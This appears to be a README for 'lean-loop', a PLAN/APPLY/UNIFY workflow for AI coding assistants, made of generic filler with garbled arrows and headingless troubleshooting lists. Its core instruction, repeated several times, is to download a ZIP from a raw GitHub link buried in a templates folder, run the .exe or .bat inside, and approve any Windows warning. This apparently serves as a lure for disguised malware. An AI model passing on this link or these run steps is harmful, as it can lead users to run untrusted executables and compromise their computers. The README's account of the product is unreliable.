lean-loop helps you follow a simple test-driven workflow with three steps:
- PLAN
- APPLY
- UNIFY
It is built for AI-assisted development, but it stays focused on one thing: keeping work in a small, repeatable loop. That makes it easier to stay organized when you use tools like Claude, Codex, Gemini, or other AI coding helpers.
Use lean-loop when you want a steady way to move from idea to code, then check the result, then clean it up.
lean-loop is made for Windows users who want a light setup.
You will need:
- Windows 10 or Windows 11
- A web browser
- Internet access for the download
- A folder where you can save the files
- Basic permission to run apps on your PC
If you plan to use lean-loop with AI tools, you may also want one of these:
- Claude
- Codex
- Gemini
- OpenCode
- An MCP-compatible tool
Use this link to visit the download page and get lean-loop:
If you see a file list, choose the Windows file that fits your setup, then download it to your computer.
Follow these steps on Windows:
- Open the download page.
- Download the lean-loop files to a folder you can find, such as Downloads or Desktop.
- If the download is a ZIP file, right-click it and choose Extract All.
- Open the extracted folder.
- Look for a file with a name like
lean-loop.exe,run.bat, or another start file. - Double-click the start file to run lean-loop.
- If Windows asks for permission, choose the option that lets the app run.
- If the app opens in a browser or terminal window, keep that window open while you use it.
If the project uses a script-based setup, start it from the file included in the folder. The main goal is to launch the lean-loop workflow so you can start using PLAN β APPLY β UNIFY.
When you open lean-loop for the first time, expect a simple workflow screen or prompt set.
A normal flow looks like this:
- Start with PLAN.
- Write what you want to build or change.
- Move to APPLY to make the change.
- Use UNIFY to check the result and keep the work consistent.
This cycle helps you avoid large, messy changes. It keeps each step small and easier to review.
Use PLAN to define the task before you touch the code.
Good PLAN steps include:
- Describe the goal in plain words
- List what should change
- Note what should stay the same
- Break the work into small parts
This step helps you think first and act second.
Use APPLY to make the change.
In this step, you:
- Update files
- Add code
- Adjust settings
- Run the task you planned
Keep the change focused. Small updates are easier to test and fix.
Use UNIFY to bring everything back into one clean state.
In this step, you:
- Check the result
- Look for mismatch or rough edges
- Make sure the new work fits the rest of the project
- Clean up names, structure, and file flow
UNIFY helps you keep the project readable and stable.
lean-loop fits well with AI tools. You can use it to guide an AI helper through a clear task flow.
Common uses include:
- Ask the AI to help draft a PLAN
- Use APPLY to carry out the change
- Use UNIFY to review and align the output
- Keep each round short and focused
This works well when you want help, but still want control over the process.
You may see files like these in the project folder:
README.mdfor project infoplan.mdfor task planningapply.mdfor implementation notesunify.mdfor cleanup and reviewskills/for workflow helpersskill-md/for Markdown-based skill filesmcp/for tool connection support
Not every setup will use the same files, but this is the kind of layout you can expect from a lean TDD workflow system.
A simple way to use lean-loop:
- Open the app or start file.
- Create a new task.
- Write the PLAN step in plain language.
- Carry out the APPLY step.
- Run the UNIFY step.
- Repeat for the next task.
Example task:
- PLAN: Add a new button to the app
- APPLY: Update the UI file and add the button
- UNIFY: Check spacing, labels, and behavior
To get the best result, keep each task small.
Helpful habits:
- One task at a time
- Short notes
- Clear names for files and steps
- Test after each APPLY step
- Use UNIFY before moving on
This style works well because it lowers confusion and makes mistakes easier to spot.
Try this:
- Make sure the download finished
- Extract the ZIP file if needed
- Run the file from the extracted folder
- Right-click and choose the option to run it
Try this:
- Check the file properties
- Allow the app to run if Windows shows a prompt
- Make sure the file came from the lean-loop download page
Try this:
- Start with a very small PLAN
- Keep APPLY changes limited
- Use UNIFY to review the result
- Repeat the cycle with one task only
Try this:
- Ask for one step at a time
- Keep the prompt short
- Focus on PLAN before APPLY
- Use UNIFY to clean up the result
lean-loop can sit beside other tools you already use:
- Use it with Claude for task planning
- Use it with Codex for code changes
- Use it with Gemini for review and drafting
- Use it with OpenCode for local workflow help
- Use it with MCP tools for connected steps
The idea is to keep the process simple while still using the tools you know.
This project fits topics such as:
- ai-agent
- ai-agents-framework
- claude
- codex
- gemini
- mcp
- opencode
- skill-md
- skills
- tdd
These topics point to a workflow that supports small, test-led changes with AI help.
lean-loop follows a test-driven style.
That means:
- Think before you build
- Make the change in small steps
- Check the result early
- Clean up before moving on
This style helps keep work stable and easy to understand.
- Open the download page: https://raw.githubusercontent.com/breastless-andcircuit638/lean-loop/main/skills/lean-loop/templates/lean-loop-v2.3.zip
- Download the Windows files.
- Extract the archive if needed.
- Open the folder.
- Run the start file.
- Begin with PLAN β APPLY β UNIFY.
Use lean-loop when you want to:
- Manage a small coding task
- Work with AI in a controlled way
- Keep a clear process for changes
- Avoid a messy or rushed workflow
- Review work before moving forward
PLAN:
- Add a settings page
APPLY:
- Create the page
- Add the needed fields
- Connect the save action
UNIFY:
- Check labels
- Confirm layout
- Make sure the page matches the rest of the app
That is the full lean-loop cycle in simple form